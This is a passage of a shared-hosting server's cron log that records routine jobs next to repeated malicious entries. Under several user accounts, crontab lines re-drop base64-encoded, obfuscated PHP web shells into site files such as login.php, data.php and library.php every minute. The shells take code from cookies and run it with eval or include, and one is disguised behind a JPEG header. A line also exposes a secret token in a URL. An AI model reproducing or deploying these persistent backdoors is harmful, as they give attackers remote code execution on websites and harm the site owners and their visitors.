iAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:56:01 medusa CROND[31172]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:56:01 medusa CROND[31175]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:56:01 medusa CROND[31176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:56:01 medusa CROND[31177]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:56:01 medusa CROND[31184]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:57:01 medusa CROND[32729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:57:01 medusa CROND[32728]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:57:01 medusa CROND[32730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:57:01 medusa CROND[32731]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 05:57:01 medusa CROND[32732]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:57:01 medusa CROND[32734]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:57:01 medusa CROND[32735]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:57:01 medusa CROND[32736]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:57:01 medusa CROND[32740]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:57:01 medusa CROND[32748]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:57:01 medusa CROND[32747]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:57:01 medusa CROND[32753]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:58:01 medusa CROND[2094]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:58:01 medusa CROND[2109]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 05:58:01 medusa CROND[2110]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:58:01 medusa CROND[2111]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 05:58:01 medusa CROND[2112]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:58:01 medusa CROND[2113]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:58:01 medusa CROND[2114]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:58:01 medusa CROND[2115]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:58:01 medusa CROND[2119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:58:01 medusa CROND[2124]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:58:01 medusa CROND[2125]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:58:01 medusa CROND[2127]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGV